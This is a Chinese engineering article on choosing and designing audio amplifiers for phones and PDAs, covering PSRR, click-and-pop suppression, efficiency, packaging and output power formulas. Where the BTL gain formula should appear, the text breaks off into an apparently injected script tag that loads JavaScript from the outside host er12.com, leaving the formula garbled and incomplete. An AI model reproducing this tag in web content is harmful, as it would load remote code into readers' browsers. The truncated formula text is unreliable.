手机与PDA之声频系统应用探微

手机与pda已能够提供各种不同娱乐功能,而消费者更希望其能够拥有立体声,甚至是3d音效。因此厂商们皆尽量采用高度原音的声频系统,并使产品具备立体声喇叭放大器、不同的混音以及3d强化立体声功能,同时在外型上也尽量轻薄小巧。本文将为读者深入探讨声频系统在手机与pda之应用与设计,以方便系统研发人员设计出适合消费者的产品。

  音效在可携式电子产品上之要求,在早期只要输出功率够大,同时无噪声干扰即可,然而随着产品成熟度增加与mp3、mpeg4 等附加功能的需求而更显其重要性。现今消费者在手机与个人数字处理器(pda)的音效要求已至立体声,甚至必须具备3d音效。

  本篇文章即是要探讨声频系统在手机与pda之应用与设计,让系统与研发人员设计出适合消费者的产品。

  无线可携式电子产品应用之考虑因素

  以下列出在选择声频功率放大器时必须考虑到的主要因素。

  较高的电源电压抑制(power supply rejection ration;psrr)

  声频功率放大器必须具有较高的psrr,可以避免受到电源与布线噪声的干扰。

  快速的开关机(fast turn on & off)

  拥有较长的待机时间,为手机或pda之基本诉求,ab类声频放大器的效率约为50至60%,d类声频放大器的效率可达85至90%,不管使用何种声频放大器,为了节省功率消耗,在不需要用到声频放大器时,均需进入待机状态,然而当一有声音出现时,声频放大器必须马上进入开机状态。

  无「开关切换噪声」(click & pop)声

  「开关切换噪声」声常出现于声频放大器进入开关机时,或是由待机回复至正常状态,甚至是217hz手机通信讯号时,手机或pda之使用者绝不会希望听到扰人的噪音,将「开关切换噪声」消除电路加入声频放大器的考虑中,为重要的必备条件。

  较低之工作电压

  为延长电池使用时间,更要求在低至1.8伏特的条件下仍可进行作业。

  低电流消耗与高效率

  使用cmos制程之ic,可降低电流消耗,有时需选择d类声频放大器,目的在延长手机或个人数字处理器之工作时间。

  高输出功率

  在相同工作电压下具有较高的输出功率,亦即输出讯号之摆幅越接近vcc与gnd时,其输出功率越高。

  较小的封装(micro smd)

  手机或个人数字处理器的外观越来越小巧,使得ic封装技术越来越重要,micro smd为现今较常用到的封装技术。

  输出功率的计算

  单端式(single-end )放大器如(图一)所示,其增益为:(公式一) gain=rf/ri rf:回授阻抗ri:输入阻抗。

图一 单端式(single-end) 放大器

  由输出功率=(vrms)2/rload,vrms=vpeak /21/2,因此单端式(single-end)放大器输出功率=(vpeak)2/2rload 。桥接式(btl)放大器如(图二)所示,由两个单端式(single-end)放大器以相差180°组成,故其增益为(公式二) gain?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计